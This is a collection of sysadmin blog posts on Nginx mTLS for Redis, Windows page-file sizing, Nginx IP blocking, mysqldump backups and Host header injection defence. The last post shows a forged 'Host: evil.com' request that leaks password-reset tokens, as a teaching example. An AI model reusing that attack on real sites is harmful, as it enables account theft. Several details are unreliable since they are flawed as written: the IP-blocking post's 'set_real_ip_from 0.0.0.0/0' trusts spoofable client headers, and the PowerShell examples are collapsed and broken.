        "size": 2048
    },
    "names": [
        {
            "C": "CN",
            "L": "Beijing",
            "ST": "Beijing",
            "O": "MyEnterprise",
            "OU": "Operations Department"
        }
    ]
}

Generate the client certificate and private key

cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=client client-csr.json | cfssljson -bare client

Generated files:

client.pem: Client public certificate
client-key.pem: Client private key

3.2.5 Verifying Certificate Validity

Use the openssl command to verify the integrity of the generated certificates and the validity of the certificate chain:

# Verify the server certificate (using the root CA)
openssl verify -CAfile ca.pem server.pem

# Verify the client certificate (using the root CA)
openssl verify -CAfile ca.pem client.pem

If the output shows server.pem: OK and client.pem: OK, the certificates are valid and the certificate chain is intact.

3.3 Configuring mTLS

Modify the Nginx TCP proxy configuration file (/etc/nginx/stream.d/redis-proxy.conf) to enable mTLS mutual authentication. The updated configuration is as follows:

upstream redis_backend {
    server 192.168.1.100:6379;
    keepalive 32;
}

server {
    listen 6380 ssl; # Enable SSL for the listening port

    # Server certificate configuration
    ssl_certificate /etc/nginx/certs/server.pem; # Server public certificate path
    ssl_certificate_key /etc/nginx/certs/server-key.pem; # Server private key path

    # mTLS client authentication configuration
    ssl_client_certificate /etc/nginx/certs/ca.pem; # Root CA certificate (used to verify client certificates)
    ssl_verify_client on; # Enable client certificate verification (mandatory)
    # ssl_verify_depth 2; # Set the certificate verification depth (default is 1; adjust if using intermediate CAs)

    # SSL/TLS security optimization parameters
    ssl_protocols TLSv1.2 TLSv1.3; # Disable insecure protocols (e.g., TLSv1.0, TLSv1.1)
    ssl_prefer_server_ciphers on; # Prioritize server-side cipher suites
    ssl_ciphers "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH"; # Secure cipher suite list

    # Proxy forwarding configuration
    proxy_pass redis_backend;
    proxy_timeout 300s;
    proxy_buffer_size 16k;
}

After modifying the configuration, verify and reload Nginx:

sudo nginx -t && sudo systemctl reload nginx

4. Configuration Verification and Testing

4.1 Checking Configuration Correctness

In addition to using nginx -t to verify the syntax of the configuration file, you can also check the Nginx error log to confirm whether the mTLS configuration is loaded normally:

sudo tail -f /var/log/nginx/error.log

If no error messages (such as “SSL_CTX_load_verify_locations failed” or “invalid certificate”) appear, the mTLS configuration has been loaded successfully.

4.2 Testing Mutual Encryption Authentication

Use the openssl s_client tool on the client to simulate a TLS connection and test the mTLS authentication process. Ensure the client has the client.pem, client-key.pem, and ca.pem files.

4.2.1 Testing a Valid Client Connection

Run the following command to establish a TLS connection to the Nginx proxy port (6380):

openssl s_client -connect 192.168.1.200:6380 \
    -cert /path/to/client.pem \
    -key /path/to/client-key.pem \
    -CAfile /path/to/ca.pem

If the connection is successful, the output will include the following key information:

Verify return code: 0 (ok) (indicating successful certificate verification)
Detailed information about the server certificate (such as issuer, validity period)

Next, test the Redis service access (enter the following commands in the openssl s_client interactive interface):

# Enter Redis authentication password (if the backend Redis has authentication enabled)
AUTH YourRedisPassword
# Expected response: +OK

# Test the Redis PING command
PING
# Expected response: +PONG

# Test data writing and reading
SET test_key "mtls_test_value"
# Expected response: +OK

GET test_key
# Expected response: $13\nmtls_test_value

4.2.2 Testing an Invalid Client Connection

To verify the security of mTLS, test scenarios with invalid client certificates (e.g., using an unsigned certificate or omitting the client certificate):

# Scenario 1: Omit the client certificate
openssl s_client -connect 192.168.1.200:6380 -CAfile /path/to/ca.pem

# Scenario 2: Use an untrusted client certificate
openssl s_client -connect 192.168.1.200:6380 \
    -cert /path/to/untrusted-client.pem \
    -key /path/to/untrusted-client-key.pem \
    -CAfile /path/to/ca.pem

In both scenarios, the connection should be rejected, and the output will include Verify return code: 19 (self-signed certificate in certificate chain) or SSL alert number 116 (indicating client certificate verification failure), confirming that mTLS effectively blocks unauthorized access.

5. Conclusion

This document systematically elaborates on the implementation process of Nginx TCP Layer 4 port proxy and mTLS mutual encryption authentication, covering technical background, configuration steps, and verification methods. By combining Nginx’s high-performance proxy capabilities with mTLS’s strict mutual authentication mechanism, enterprises can establish a secure and reliable network communication channel, effectively addressing security risks such as unauthorized access and data leakage in traditional proxy architectures.

Complete Guide to Windows Virtual Memory: From Principles to Practice, Fix Low Memory Lag Issues

Tiger Smith — Mon, 17 Nov 2025 11:09:56 +0000

Have you often encountered sudden lag on your Windows PC, received “low memory” warnings when opening multiple tasks, or watched the progress bar stall endlessly when running large software like Photoshop or Premiere Pro? Many times, this isn’t because your physical memory (RAM) is completely insufficient, but because your virtual memory configuration hasn’t kept up with your actual needs. This article will start from technical principles, combine the latest features of Windows systems in 2025, and teach you how to scientifically set up virtual memory to avoid resource waste while maximizing system performance.

Source of the article:# Complete Guide to Windows Virtual Memory: From Principles to Practice, Fix Low Memory Lag Issues

1. What is Virtual Memory? Why is it Important for Windows?

Before diving into setup methods, we need to understand: what role does virtual memory actually play? Simply put, it’s “temporary memory” simulated by the Windows system using hard drive space. When physical memory (RAM) is occupied to a certain extent, the system automatically transfers infrequently used data to virtual memory, thereby freeing up RAM resources for active applications.

Here’s a key insight: virtual memory is not a “replacement” for RAM, but a “supplement” . Because the read-write speed of hard drives (even SSDs) is much slower than RAM (usually more than 10 times slower), over-reliance on virtual memory will instead slow down the system. However, without it, when RAM is exhausted, applications will crash directly or the system will freeze.

Core Difference Comparison Between RAM and Virtual Memory (Hard Drive)

Feature	Physical Memory (RAM)	Virtual Memory (HDD/SSD)
Read-Write Speed	Extremely fast (DDR4 ~20GB/s, DDR5 up to 50GB/s+)	Slower (SATA SSD ~500MB/s, NVMe SSD ~3-7GB/s)
Storage Capacity	Smaller (common sizes: 8GB, 16GB, 32GB)	Larger (depends on remaining hard drive space)
Data Persistence	Lost when power is off (temporary storage)	Retained when power is off (stores page file long-term)
Core Function	Runs currently active applications/processes	Temporarily stores inactive data to free up RAM

2. When Do You Need to Manually Set Virtual Memory? Isn’t Default Automatic Management Sufficient?

Windows systems by default “automatically manage paging file size for all drives”, dynamically adjusting virtual memory based on RAM capacity and usage. However, in the following 4 scenarios, manually setting virtual memory can significantly improve the experience:

Scenario 1: Small physical memory (≤4GB) : Default settings may frequently trigger “low memory” warnings due to insufficient virtual memory, leading to browser crashes and unsaved document loss.
Scenario 2: Running professional software/games: Some design software (such as AutoCAD, 3ds Max) and large games (such as Cyberpunk 2077) clearly require a minimum virtual memory size. Failure to meet this requirement may result in failure to launch or frequent crashes.
Scenario 3: System lags frequently but RAM is not full: This may be due to unreasonable default virtual memory allocation, causing the system to frequently “swap data” between RAM and hard drive (known as “page thrashing”).
Scenario 4: System drive space is tight: By default, virtual memory is stored on the C drive. If the remaining space on the C drive is less than 10GB, virtual memory may not be able to expand, leading to performance issues.

3. What’s the Right Size for Windows Virtual Memory? 2025 Latest Recommended Plan

There’s no “one-size-fits-all” standard for virtual memory size, but it can be accurately matched based on physical memory capacity and usage scenarios. Below is a tested and verified recommended plan (unit: GB, 1GB=1024MB):

Virtual Memory Setting Recommendations for Different RAM Capacities

Physical Memory (RAM)	Is Disabling Virtual Memory Recommended?	Recommended Initial Size	Recommended Maximum Size	Applicable Scenarios
≤4GB	❌ Definitely not recommended	RAM×1.5 (e.g., 4GB→6GB)	RAM×3 (e.g., 4GB→12GB)	Daily office work (Word/Excel), light web browsing
8GB	❌ Not recommended	RAM×1 (e.g., 8GB→8GB)	RAM×2 (e.g., 8GB→16GB)	Moderate multitasking, light design (basic Photoshop editing), mainstream online games
16GB	✅ Optional to disable	RAM×0.5 (e.g., 16GB→8GB)	RAM×1.5 (e.g., 16GB→24GB)	Heavy multitasking, professional design, 3A games (1080P)
≥32GB	✅ Recommended to disable (unless special needs)	2GB (minimum guarantee)	8GB (maximum limit)	Workstation-level tasks (video rendering, multiple VMs running)

Important Reminder: 1. It’s recommended to set the “Initial Size” and “Maximum Size” of virtual memory to the same value to avoid hard drive fragmentation caused by frequent system adjustments to the page file size; 2. The maximum size should not exceed 1/8 of the remaining space of the hard drive partition to prevent occupying too much storage resources.

Which Drive to Set Virtual Memory On? Tips for Maximizing Performance

Choosing the right partition has a greater impact on performance than worrying about the size! The correct priority order is:

First choice: NVMe SSD partition with sufficient free space: The high-speed read-write of NVMe SSD can minimize the performance loss of virtual memory, and do not choose the system drive (C drive) to avoid seizing system I/O resources.
Second choice: SATA SSD partition: Performance is slightly inferior to NVMe but still much better than mechanical hard drives.
Not recommended: Mechanical hard drive (HDD) : Read-write speed is too slow, overuse will cause severe system lag.

4. 3 Methods to Set Windows Virtual Memory: GUI + Command Line + PowerShell

Below are virtual memory setup methods for different user habits, covering GUI (suitable for ordinary users) and command line (suitable for IT administrators/advanced users). The operation steps have been verified on Windows 10/11 systems.

Method 1: Set via “System Properties” GUI (Most Common)

Suitable for most users with intuitive steps and no code required:

Press Win + R to open the “Run” dialog box, type systempropertiesadvanced and press Enter to open the “System Properties” window.
In “System Properties”, switch to the “Advanced” tab, and click the [Settings] button in the “Performance” area.
In the “Performance Options” window, continue to switch to the “Advanced” tab, and click the [Change] button in the “Virtual Memory” area.

Uncheck “Automatically manage paging file size for all drives”, then select the partition where you want to set virtual memory (e.g., Drive D, preferably an SSD partition) from the list below.
Select “Custom size”, enter the “Initial size” and “Maximum size” (refer to the table above, unit: MB), click [Set] → [OK].

Restart the computer for the settings to take effect.

(Screenshot placeholder: System Properties – Performance Settings – Virtual Memory Change Interface)

Method 2: Manage via WMIC Command Line (Suitable for Batch Operations)

Suitable for IT administrators or scenarios where multiple computers need to be configured quickly. Run Command Prompt as administrator:

Right-click the “Start” menu, select [Terminal (Admin)], press Ctrl + Shift + 2 to switch to the Command Prompt interface.
Execute the following commands according to needs (copy and paste directly, note to modify the drive letter and values):

Enable automatic virtual memory management:

wmic computersystem where name="%computername%" set AutomaticManagedPagefile=True

Disable automatic management (prepare for customization) :

wmic computersystem where name="%computername%" set AutomaticManagedPagefile=False

View current virtual memory settings:

wmic pagefile list /format:list

Set virtual memory for a specific drive (e.g., Drive C) (Example: Initial 4GB, Maximum 8GB) :

wmic pagefileset where name="C:\pagefile.sys" set InitialSize=4096,MaximumSize=8192

If you encounter “wmic not found” error, you need to enable WMIC using the following command:

DISM /Online /Add-Capability /CapabilityName:WMIC~~~~

Restart the computer after execution for the settings to take effect.

Method 3: Set via PowerShell Script (Preferred for Advanced Users)

PowerShell is more flexible than Command Prompt, supporting batch configuration and scripting:

Open Windows Terminal as administrator, press Ctrl + Shift + 1 to switch to the PowerShell interface.
Execute the following commands to complete corresponding operations:

View detailed current virtual memory settings:

Get-CimInstance -ClassName Win32_PageFileUsage | Select-Object Name,InitialSize,MaximumSize,CurrentUsage

Customize virtual memory (Example: Drive E, Initial 2GB, Maximum 6GB) :

# Define parameters $pageFilePath = "E:\pagefile.sys" $initialSize = 2048 # Initial size (MB) $maximumSize = 6144 # Maximum size (MB) # Apply settings Set-CimInstance -Query "SELECT * FROM Win32_PageFileSetting WHERE Name ='$pageFilePath'" -Property @{InitialSize = $initialSize MaximumSize = $maximumSize }

Restore automatic management:

$pageFilePath = "E:\pagefile.sys" Set-CimInstance -Query "SELECT * FROM Win32_PageFileSetting WHERE Name ='$pageFilePath'" -Property @{InitialSize = 0 MaximumSize = 0 }

Common Issues: No Effect After Setting Virtual Memory? Avoid These Pitfalls

Many users report that performance doesn’t improve after settings, or even becomes slower. Most likely, they’ve fallen into the following 3 pitfalls:

Pitfall 1: Virtual Memory Set on Mechanical Hard Drive

The read-write speed of mechanical hard drives is much lower than RAM. Even if a large virtual memory size is set, lag will occur due to “too slow data exchange”. Solution: Migrate to an SSD partition.

Pitfall 2: Large Gap Between Initial Size and Maximum Size

If the initial size is 1GB and the maximum size is 20GB, the system will frequently “expand” virtual memory, causing a lot of hard drive fragmentation and slowing down the speed. Solution: Set both to the same value.

Pitfall 3: Severely Insufficient Physical Memory but Relying Only on Virtual Memory

If your computer only has 4GB RAM but you want to run Chrome (10 tabs) + Photoshop + WeChat at the same time, even if virtual memory is set to 12GB, lag will occur due to frequent paging. Ultimate Solution: Upgrade physical memory (RAM) , which is the most fundamental way to improve multitasking performance.

Conclusion: The “Golden Rules” for Virtual Memory Settings

Virtual memory is a “memory buffer” for Windows systems, but not a “panacea”. Remember the following 3 points to achieve scientific configuration:

Prioritize physical memory: 8GB is the entry threshold, 16GB is the current mainstream, and 32GB or more is suitable for professional scenarios;
Virtual memory “just enough is best” : Match the size according to RAM capacity, don’t blindly pursue “the larger the better”;
Choose the right partition for storage location: Prefer free NVMe SSD partitions, stay away from system drives and mechanical hard drives.

After setting up according to the methods in this article, you will find that the multitasking capability and stability of your computer have significantly improved. If you encounter specific problems, feel free to leave a comment below and I will answer them one by one.

Practical Guide to Dynamic IP Blocking in Nginx

Tiger Smith — Sun, 16 Nov 2025 13:42:37 +0000

Blocking IPs dynamically in Nginx can effectively protect websites or applications from malicious requests, crawlers, or DDoS attacks. Compared to the traditional static method of modifying the configuration file and reloading Nginx, dynamic IP blocking can automatically identify and block malicious IPs in real-time, greatly enhancing security and operational efficiency. This article will elaborate on three mainstream solutions, combined with practical configurations and application scenarios, to help you implement them quickly.

Source of the article:# Practical Guide to Dynamic IP Blocking in Nginx

Common Solutions for Dynamic IP Blocking

Fail2ban Tool

Implementation Method: It monitors Nginx logs, and when a certain threshold is reached, it calls the firewall or modifies the configuration to block the IP.
Advantages: Easy to configure, has a mature community, and supports multiple services.
Disadvantages: Depends on log analysis, has a delay, and frequent reloads can affect performance.
Applicable Scenarios: Protects against brute-force attacks, scanner attacks, and abnormal request attacks.

Nginx Lua + Redis

Implementation Method: Uses ngx_lua to query the Redis blacklist during the access phase.
Advantages: High performance, takes effect in real-time, and can be shared distributively.
Disadvantages: Requires OpenResty/Lua, and the architecture is complex.
Applicable Scenarios: High-concurrency scenarios, distributed shared blacklists, and refined strategies.

Nginx Built-in Modules

Implementation Method: Uses the limit_req_zone and limit_conn_zone to limit the request frequency and concurrency.
Advantages: Native support, no third-party dependencies required.
Disadvantages: Only limits traffic and connections, and cannot truly block IPs.
Applicable Scenarios: Protects against CC attacks and prevents single-IP abuse.

Configuration Key Points for Each Solution

Dynamic Blocking with Fail2ban

Fail2ban monitors Nginx logs (such as 403/401/404 error codes, IPs with overly frequent access) and dynamically calls iptables or firewalld to block IPs. The core steps are as follows:

Install Fail2ban:
- On Debian/Ubuntu: sudo apt-get install fail2ban
- On CentOS/RHEL: sudo yum install fail2ban
Configure Nginx Logs:

log_format main '$remote_addr - $remote_user [$time_local]"$request"''$status $body_bytes_sent "$http_referer" ''"$http_user_agent""$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;

Create a Filter Rule /etc/fail2ban/filter.d/nginx-cc.conf:

[Definition]
failregex = ^<HOST> -.*"(GET|POST).*HTTP.*" 403
ignoreregex =

Configure Jail /etc/fail2ban/jail.local:

[nginx-cc]
enabled = true
port = http,https
filter = nginx-cc
logpath = /var/log/nginx/access.log
maxretry = 100
findtime = 60
bantime = 3600
action = iptables[name=NGINX, port=http, protocol=tcp]

Start the Service:

sudo systemctl enable fail2ban
sudo systemctl restart fail2ban

Dynamic Blocking with Nginx Lua + Redis

This solution depends on OpenResty (which integrates Nginx + LuaJIT) and queries the Redis blacklist immediately when a request arrives, with extremely high efficiency. The core steps are as follows:

Install OpenResty:

sudo yum install yum-utils
sudo yum-config-manager --add-repo https://openresty.org/package/centos/openresty.repo
sudo yum install openresty

Configure Nginx:

http {
    lua_shared_dict ip_blacklist 10m;
    server {
        listen 80;
        location / {access_by_lua_file /etc/nginx/lua/ip_blacklist.lua;}
    }
}

Write the Lua Script /etc/nginx/lua/ip_blacklist.lua:

local redis = require "resty.redis"
local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
    ngx.log(ngx.ERR, "Redis connection failed:", err)
    return
end
local client_ip = ngx.var.remote_addr
local is_banned = red:sismember("ip_blacklist", client_ip)
if is_banned == 1 then
    ngx.exit(ngx.HTTP_FORBIDDEN)
end
red:set_keepalive(10000, 100)

Manage the Blacklist:
- To ban an IP: redis-cli SADD ip_blacklist 192.168.1.100
- To unban an IP: redis-cli SREM ip_blacklist 192.168.1.100

Rate Limiting with Nginx Built-in Modules

Nginx has built-in limit_req_zone and limit_conn_zone modules, which can limit the request rate and the number of concurrent connections. Although they cannot truly block IPs, they can effectively mitigate CC attacks. The configuration example is as follows:

http {
    limit_req_zone $binary_remote_addr zone=req_limit:10m rate=10r/s;
    limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
    server {
        location / {
            limit_req zone=req_limit burst=20 nodelay;
            limit_conn conn_limit 10;
        }
    }
}

Effect: Requests exceeding the limit will return a 503 Service Temporarily Unavailable response.

Practical Experience and Precautions

Ensure Obtaining the Real IP: In the case of having a CDN or proxy, remember to configure the following:

set_real_ip_from 0.0.0.0/0;
real_ip_header X-Forwarded-For;
real_ip_recursive on;

Combined Measures are More Effective:
- Fail2ban → Blocks IPs with malicious behaviors.
- Nginx built-in rate limiting → Protects against instantaneous high-frequency attacks.
- Lua + Redis → Enables distributed real-time blacklists.
Layered Blocking Strategies:
- Instant protection: Use limit_req/limit_conn.
- Short-term blocking: Employ Fail2ban (from minutes to hours).
- Long-term global blocking: Utilize Lua + Redis (for days or even permanently).

Conclusion

There are mainly three ways to implement dynamic IP blocking in Nginx:

Fail2ban: Log-driven, suitable for single-machine and simple scenarios.
Nginx Lua + Redis: High-performance real-time blacklist, suitable for distributed and large-scale businesses.
Nginx built-in modules: Native rate limiting and connection limiting, suitable for dealing with CC attacks.It is recommended to implement the following in practice: For single machines, use Fail2ban + built-in rate limiting; for distributed/high-concurrency scenarios, use Lua + Redis + built-in rate limiting. This can not only achieve quick results but also take into account long-term scalability.

Complete Guide to MySQL Backup: mysqldump Syntax, Advanced Tips & Restoration Practice

Tiger Smith — Thu, 06 Nov 2025 07:11:14 +0000

For backend developers, database administrators (DBAs), and DevOps engineers, MySQL data backup is a core component of ensuring business continuity. Whether addressing server failures, human errors, or data migration needs, a reliable backup strategy prevents catastrophic data loss. As a built-in command-line backup tool for MySQL, mysqldump stands out as the top choice for small to medium-sized database backups due to its lightweight design, flexibility, and strong compatibility. This article breaks down mysqldump usage from basic syntax to enterprise-grade advanced techniques, helping you build a secure and efficient MySQL backup system.

Source of the article:# Complete Guide to MySQL Backup: mysqldump Syntax, Advanced Tips & Restoration Practice

I. mysqldump Basic Syntax: From Beginner to Pro

The core function of mysqldump is to export data and table structures from a MySQL database into a SQL text file. Its basic command format follows the logic of “parameters + target + output”. Mastering basic syntax is the foundation for meeting diverse backup requirements.

1.1 Standard Command for Backing Up a Single Database

The most common scenario is backing up a specific database, with the full command as follows:

mysqldump -u [username] -p[password] [database_name] > [output_file.sql]

Detailed explanation of each parameter:

-u [username] : Specifies the username for connecting to MySQL, such as root or a dedicated account with backup permissions.
-p: Follows with the password (no space in between). If you only write -p without the password, the system will prompt for interactive input (more secure).
[database_name] : Replace with the name of the target database to back up, e.g., “ecommerce_db”.
> [output_file.sql] : Uses a redirection symbol to write backup content into a specified SQL file. It’s recommended to use clear naming conventions.

💡 Best Practice: In production environments, avoid exposing passwords directly in the command line (they will be recorded in history). Instead, use mysqldump -u username -p database_name > backup.sql and enter the password interactively afterward.

II. Common mysqldump Parameters: Key to On-Demand Backups

Depending on business needs, you may only need to back up table structures, export data, or handle multiple databases simultaneously. mysqldump offers a rich set of parameter combinations to meet backup requirements for different scenarios.

2.1 Backup Structure + Data (Default Behavior)

Without specifying special parameters, mysqldump automatically backs up both table structures (CREATE TABLE statements) and data (INSERT statements). This is ideal for full migrations or complete backups:

mysqldump -u root -p ecommerce_db > ecommerce_full_backup.sql

2.2 Backup Only Table Structure (No Data)

When you need to replicate a database schema without actual data (e.g., setting up a test environment), add the --no-data parameter:

mysqldump -u root -p --no-data ecommerce_db > ecommerce_schema_only.sql

2.3 Backup Only Data (No Structure)

If the table structure already exists and you only need to update data (e.g., incremental supplements), use the --no-create-info parameter to exclude table structure statements:

mysqldump -u root -p --no-create-info ecommerce_db > ecommerce_data_only.sql

2.4 Backup Multiple Databases

To back up multiple independent databases at once, use the --databases parameter and list the databases (separated by spaces):

mysqldump -u root -p --databases ecommerce_db blog_db user_center > multi_db_backup.sql

2.5 Backup All Databases

For small servers or scenarios requiring full-server backups, use the --all-databases parameter to back up all databases in MySQL with one command:

mysqldump -u root -p --all-databases > mysql_full_server_backup.sql

III. Advanced mysqldump Tips: Boost Backup Efficiency & Security

In real-world operations, basic backups alone may not meet performance, storage, or automation needs. The following advanced tips help optimize backup workflows for enterprise-level scenarios.

3.1 Add Timestamps to Backup Files

Manually naming backup files can lead to version confusion. Embed a timestamp (year-month-day_hour-minute-second) using $(date +%Y%m%d_%H%M%S) to enable automatic version management for backup files:

mysqldump -u root -p ecommerce_db > ecommerce_backup_$(date +%Y%m%d_%H%M%S).sql

After execution, a file like “ecommerce_backup_20251101_153045.sql” will be generated, making it easy to trace the backup time.

3.2 Compress Backup Files to Reduce Storage Usage

Backup files for large databases are often bulky. Use a pipe (|) with gzip for direct compression, which can save 70%-90% of storage space:

mysqldump -u root -p ecommerce_db | gzip > ecommerce_backup_$(date +%Y%m%d).sql.gz

To restore, first decompress: gunzip ecommerce_backup_20251101.sql.gz, then run the restoration command.

3.3 Exclude Specific Tables (Remove Redundant Data)

Some tables (e.g., log tables, temporary tables) don’t require frequent backups. Use the --ignore-table parameter to exclude them, in the format --ignore-table=database_name.table_name. For multiple tables, repeat the parameter:

mysqldump -u root -p ecommerce_db --ignore-table=ecommerce_db.access_log --ignore-table=ecommerce_db.temp_session > filtered_backup.sql

3.4 Table Locking & Transaction Control (InnoDB Optimization)

For InnoDB databases, add the --single-transaction parameter to create a consistent snapshot during backups, avoiding table locks that disrupt business read/write operations:

mysqldump -u root -p --single-transaction ecommerce_db > innodb_consistent_backup.sql

If using the MyISAM engine (which doesn’t support transactions), use --lock-tables to lock backup tables and ensure data consistency.

IV. MySQL Backup Restoration Practice: From Backup File to Database

The ultimate value of backups lies in restoration. Mastering the correct restoration process is the final line of defense for data security. MySQL restoration typically uses the mysql command to execute the backed-up SQL file.

4.1 Regular Restoration Steps

Ensure the target database exists (if not, first run CREATE DATABASE ecommerce_db;).
Execute the restoration command to import the SQL file into the database:

mysql -u root -p ecommerce_db < ecommerce_full_backup.sql

4.2 Direct Restoration from Compressed Files (No Decompression Needed)

For .gz compressed backup files, you can use a pipe to decompress and restore directly, eliminating intermediate steps:

gunzip -c ecommerce_backup_20251101.sql.gz | mysql -u root -p ecommerce_db

4.3 Restore to a New Database (Avoid Data Overwriting)

To verify backup files or test restoration effectiveness, it’s recommended to restore to a newly created test database instead of overwriting the production database. Follow these steps:

Create a test database: mysql -u root -p -e "CREATE DATABASE ecommerce_test;"
Run the restoration: mysql -u root -p ecommerce_test < ecommerce_full_backup.sql
Verify data: Log in to the test database to check table structures and data integrity, e.g., mysql -u root -p ecommerce_test -e "SELECT COUNT(*) FROM orders;"

V. mysqldump Usage Notes & Risk Mitigation

When using mysqldump in production environments, mastering operations is not enough—you must also address potential risks. Below are practice-proven key notes:

Password Security Enhancement: If the system enables command history (e.g., the history command in Linux), writing passwords directly in the command line leads to password leaks. Beyond interactive input, you can set login credentials via the MySQL configuration file (my.cnf). Add user=backup_user password=your_secure_password under the [mysqldump] section, and restrict the configuration file permissions to chmod 600 my.cnf to prevent access by other users.
Principle of Least Privilege: Avoid using the root account for backups. Instead, create a dedicated backup account and assign only the minimum necessary permissions. For example:GRANT SELECT, SHOW VIEW, LOCK TABLES, RELOAD ON *.* TO 'backup_user'@'localhost' IDENTIFIED BY 'secure_pass';The RELOAD permission is used to refresh logs, ensuring consistency of binary logs during backups.
Performance Optimization for Large Databases: For databases larger than 10GB, the default backup method may be time-consuming and memory-intensive. Add the --quick parameter to make mysqldump read data from large tables row by row, avoiding loading all data into memory at once. Combine it with --extended-insert (enabled by default) to merge multiple INSERT statements, reducing backup file size and restoration time. It’s also recommended to run backups during off-peak hours (e.g., midnight) and use nohup or background processes to prevent backup interruptions due to terminal disconnections:nohup mysqldump -u backup_user -p --single-transaction --quick ecommerce_db | gzip > backup_20251101.sql.gz &
Backup File Verification & Storage: After backup completion, in addition to checking file size, generate a checksum with md5sum backup_20251101.sql.gz > backup_md5.txt. Before restoration, verify file integrity using md5sum -c backup_md5.txt. For storage, sync backup files to offsite storage (e.g., cloud storage, FTP servers) to avoid losing backup files due to physical server failures.
Recommended Backup Strategy Combination: mysqldump is suitable for full backups, but relying solely on full backups leads to long restoration times. It’s recommended to combine binary logs for “full + incremental” backups: Run a full backup once a week (e.g., Sunday), enable binary logs for the rest of the time, and back up log files incrementally. During restoration, first restore the full backup, then apply incremental logs via mysqlbinlog to minimize data loss risks.

VI. Conclusion: Building a Reliable MySQL Backup System

As the most basic and classic backup tool in the MySQL ecosystem, mysqldump’s flexibility and compatibility make it irreplaceable for small to medium-sized database scenarios. Through this article, we’ve built a complete mysqldump usage system—from parameter combinations for basic syntax to efficiency optimization with advanced tips, and risk control in restoration practice. However, it’s crucial to remember: the core goal of backups is recoverability. Regular restoration testing (monthly is recommended) is more important than simply creating backups. Only through actual restoration verification can you ensure backup files are valid and restoration processes are smooth, truly safeguarding business data security.

Nginx Defends HTTP Host Header Attacks Vulnerability: Practical Configuration Guide

Tiger Smith — Wed, 05 Nov 2025 09:33:23 +0000

As a web developer, have you ever overlooked the Host header in HTTP requests? This seemingly ordinary field, once exploited by attackers, can lead to serious security issues such as password reset hijacking, cache poisoning, and even Server-Side Request Forgery (SSRF). This article will start from the vulnerability principle and share 3 battle-tested Nginx defense configuration schemes to help you quickly build the first line of defense for your web application.

Source of the article:# Nginx Defends HTTP Host Header Attacks Vulnerability: Practical Configuration Guide

1. HTTP Host Header Attack (Host Header Injection): Why Is It So Dangerous?

In the HTTP protocol, the Host header is used to specify the target domain name of the request. But many developers don’t know that: the Host header is completely controlled by the client and belongs to untrusted data. The vulnerability caused by failing to verify the legitimacy of the Host header is called HTTP Host Header Injection Vulnerability, which usually has a medium-low risk level but has a wide range of application scenarios and may trigger serious chain reactions. If the back-end application directly uses this field to generate URLs (such as password reset links, page jump addresses), it will create significant security risks.

Take a typical scenario: A website’s password reset function generates a link through the following code:


$resetUrl = "https://" . $_SERVER['HTTP_HOST'] . "/reset?token=" . $token;

Attackers only need to construct the following request:


GET /forgot-password HTTP/1.1
Host: evil.com
User-Agent: Mozilla/5.0...

The reset link received by the user will become https://evil.com/reset?token=xxx. Once the user clicks, the sensitive token will be leaked to the attacker, leading to account theft. This attack method has extremely low cost but can cause fatal consequences. According to the OWASP Security Testing Guide, Host header injection vulnerabilities are often classified into the “Injection Attacks” category and are one of the common configuration vulnerabilities in web applications.

2. Core Defense Idea: Block Illegal Hosts at the Nginx Layer

The key to defending against Host header attacks is not trusting the Host value passed by the client. The best practice is to verify the legitimacy of the Host header in advance at the Nginx (reverse proxy layer) and only allow predefined legitimate domain names to pass. This can not only reduce the pressure on the back-end application but also block attacks from the source.

Core principle: All Host headers entering the system must be in the whitelist; requests not in the whitelist will directly return 403 Forbidden.

3. 3 Practical Nginx Defense Configuration Schemes

Scheme 1: Single Domain Name Exact Match (Recommended, Clearest Logic)

Applicable to scenarios with only one main domain name. It judges whether the Host is legitimate through a flag bit to avoid the if nesting trap of Nginx.


server {
    listen 80;
    server_name devresourcehub.com; # Your legitimate domain name

    # Host header attack protection configuration
    set $host_flag 0; # Initialize flag bit to 0 (illegal)
    if ($host == "devresourcehub.com") { # Match legitimate domain name
        set $host_flag 1; # Set flag bit to 1 (legal)
    }
    if ($host_flag = 0) { # Reject illegal Host directly
        return 403;
    }

    location / {
        root /www/h5;
        index index.php index.html index.htm;
    }
}

The advantage of this scheme is simple logic and easy maintenance, even non-professional operation and maintenance personnel can quickly understand and modify it.

Scheme 2: Multi-Domain Whitelist (Main Site + Subsite/Test Environment)

If your application has multiple legitimate domain names (such as main site devresourcehub.com, subsite tools.devresourcehub.com, local test localhost), you can implement a whitelist using regular expressions or multi-condition judgment.

Method 1: Regular Expression Matching (Concise)


server {
    listen 80;
    server_name devresourcehub.com;

    set $host_flag 0;
    # Regular expression matches multiple legitimate domain names, separated by |
    if ($host ~* "^(devresourcehub.com|tools.devresourcehub.com|localhost)$") {set $host_flag 1;}
    if ($host_flag = 0) {return 403;}

    location / {
        root /www/h5;
        index index.php index.html index.htm;
    }
}

Method 2: Multi-Condition Judgment (Higher Readability)


set $host_flag 0;
if ($host == "devresourcehub.com") {set $host_flag 1;}
if ($host == "tools.devresourcehub.com") {set $host_flag 1;}
if ($host == "localhost") {set $host_flag 1;}
if ($host_flag = 0) {return 403;}

Scheme 3: Regular Expression Matching IP + Domain Name (Special Scenarios)

If you need to allow access from specific IP segments (such as internal network testing), you can combine IP and domain name for regular expression matching. But note: the more complex the regular expression, the higher the maintenance cost. Exact matching is preferred in the production environment.


server {
    listen 80;
    server_name devresourcehub.com;

    # Allow domain name + specified IP segment + local loopback address
    if ($http_Host !~* "^(devresourcehub.com|192.168.10.\d{1,3}|127.0.0.1)$") {return 403;}

    location / {
        root /www/h5;
        index index.php index.html index.htm;
    }
}

Note: The . in the regular expression needs to be escaped to \., otherwise it will match any character; the IP segment is only basically restricted with \d{1,3}, which cannot completely prevent illegal IPs.

4. How to Verify Whether the Protection Takes Effect?

After the configuration is completed, use the curl command to test two scenarios to ensure the protection takes effect:

Normal Access (Should Return 200) : curl -I -H "Host: devresourcehub.com" http://your-server-ip/ Returns status code 200 OK, indicating that the legitimate Host passes.
Forged Host (Should Return 403) : curl -I -H "Host: evil.com" http://your-server-ip/ Returns 403 Forbidden, indicating that the illegal Host is blocked.

5. 2025 Host Header Defense Best Practices

